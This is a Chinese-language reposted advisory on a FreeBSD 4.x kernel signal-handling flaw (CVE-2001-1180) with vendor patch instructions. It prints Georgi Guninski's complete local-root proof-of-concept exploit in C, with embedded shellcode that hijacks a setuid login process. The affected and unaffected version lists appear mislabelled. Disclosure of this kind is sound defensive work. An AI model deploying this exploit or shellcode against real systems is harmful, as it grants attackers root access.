FreeBSD内核信号处理安全漏洞
2008-04-09 04:31:06来源:互联网 阅读 ()
发布日期:2001-07-10
更新日期:2001-07-17
受影响系统:
不受影响系统:
FreeBSD 4.1
FreeBSD 4.2
FreeBSD 4.3
描述:
2001年7月9日以后发布的FreeBSD 4.3-STABLE
BUGTRAQ ID: 3007
CVE(CAN) ID: CVE-2001-1180
FreeBSD信号句柄清除过程中存在一个错误,可以使一些信号句柄在exec之后仍能保持有效。
例如使用rfork(RFPROC|RFSIGSHARE)函数来fork子进程时,一些信号句柄将被共享。如果
子进程在exec()一个setuid二进制程序,父进程再设置信号句柄;那么该setuid程序也将
复制父进程设置的信号句柄。如果向其发送一个信号,就可能导致信号句柄被执行。
利用这个漏洞,攻击者可以在任意setuid二进制程序中设置信号句柄并执行任意代码。
攻击者可能获取本地root权限。
<*来源:Georgi Guninski (guninski@guninski.com)
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:42.signal.asc
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Georgi Guninski (guninski@guninski.com)提供了下列测试代码:
-------------vvfreebsd.c----------------------
/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
int vv1;
#define MYSIG SIGINT
//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80\x90\x90\x90";
typedef (*PROG)();
extern char **environ;
int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv")))
{
setenv("vv",bsdshell,1);
if(!execle(av[0],"vv",NULL,environ))
{
perror("weird exec");
exit(1);
}
}
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
if(!execl("/usr/bin/login","login",0))
{
perror("exec setuid failed");
exit(2);
};
}
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("done\n");
while(42);
}
建议:
厂商补丁:
FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-01:42.signal)和相应的补丁。
您可以在下列地址看到安全公告的详细内容:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:42.signal.asc
补丁下载:
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
您需要以root身份执行下列命令:
# cd /usr/src/sys/kern
# patch -p < /path/to/patch
然后重新编译内核,并重新启动系统。
内核编译的具体介绍可以参考下列地址:
http://www.freebsd.org/handbook/kernelconfig.html
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash